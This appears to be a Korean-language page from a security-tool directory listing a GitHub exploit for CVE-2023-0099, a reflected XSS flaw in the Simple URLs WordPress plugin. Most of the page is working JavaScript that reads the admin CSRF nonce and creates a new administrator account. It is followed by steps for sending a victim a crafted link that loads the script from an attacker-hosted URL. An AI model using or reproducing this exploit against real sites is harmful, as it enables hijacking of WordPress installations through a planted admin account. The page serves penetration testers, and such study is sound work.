Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2023-0099-exploit — 단순 URL < 115 - 반사형 XSS | Kitploit
도구/GitHubGitHub/amirzargham/cve-2023-0099-exploit
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubamirzargham/cve-2023-0099-exploit

CVE-2023-0099-exploit

단순 URL < 115 - 반사형 XSS

저장소 보기
61212년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2023-0099-exploit

Exploit 제목: simple urls < 115 - Reflected XSS

Google Dork:

Exploit 작성자: AmirZargham

공급업체 홈페이지: https://getlasso.co/

소프트웨어 링크: https://wordpress.org/plugins/simple-urls/

버전: < 115

테스트 환경: firefox,chrome

CVE: CVE-2023-0099

CWE: CWE-79

플랫폼: MULTIPLE

유형: WebApps

설명 Simple URLs WordPress 플러그인 115 이전 버전은 일부 매개변수를 일부 페이지에 출력하기 전에 삭제(sanitise)하거나 이스케이프하지 않아 Reflected Cross-Site Scripting(반사형 XSS)에 취약하며, 이는 관리자와 같은 높은 권한의 사용자를 대상으로 악용될 수 있습니다.

악용 코드:

root@kitploit:~
function getCSRFToken(url, csrf_token_id, func){
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function(){
if(this.readyState == 4 && this.status == 200){
var parser = new DOMParser();
var htmlDocument = parser.parseFromString(this.responseText, "text/html");
var token = htmlDocument.getElementById(csrf_token_id).value;
func(token);
}

};
xhr.open("GET", url, true);
xhr.withCredentials = true;
xhr.send();

}

function addAdmin(token){
var xhr = new XMLHttpRequest();
xhr.open("POST","http://vulnerable.site/wp-admin/user-new.php", true);
xhr.withCredentials = true;
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send("action=createuser&_wpnonce_create-user=" + token + "&_wp_http_referer=%2Fwp-admin%2Fuser-new.php&user_login=hack-admin&[email protected]&first_name=&last_name=&url=&pass1=1234&pass2=1234&pw_weak=on&send_user_notification=1&role=administrator&createuser=Add+New+User");
}

getCSRFToken("http://vulnerable.site/wp-admin/user-new.php", "_wpnonce_create-user", addAdmin);

사용 방법:

  1. 악용 코드를 자바스크립트 파일로 서버에 저장합니다.
  2. 악용 파일에서 다음 값을 변경합니다:
    • user_login: 임의의 사용자 이름
    • pass1: 임의의 비밀번호
    • pass2: 임의의 비밀번호
    • email: 임의의 이메일
  3. 이제 피해자에게 악성 링크를 보냅니다: https://vulnerable.com/wp-content/plugins/simple-urls/admin/assets/js/import-js.php?search=</script><script src="https://attacker.com/exploit.js"></script>
  4. 관리자 사용자가 생성되었는지 확인한 후 /wp-admin 등으로 이동하여 WordPress 패널에 로그인합니다.

게시처: exploit-db.

게시처: 0day.today.

게시처: packet storm.

도구 다운로드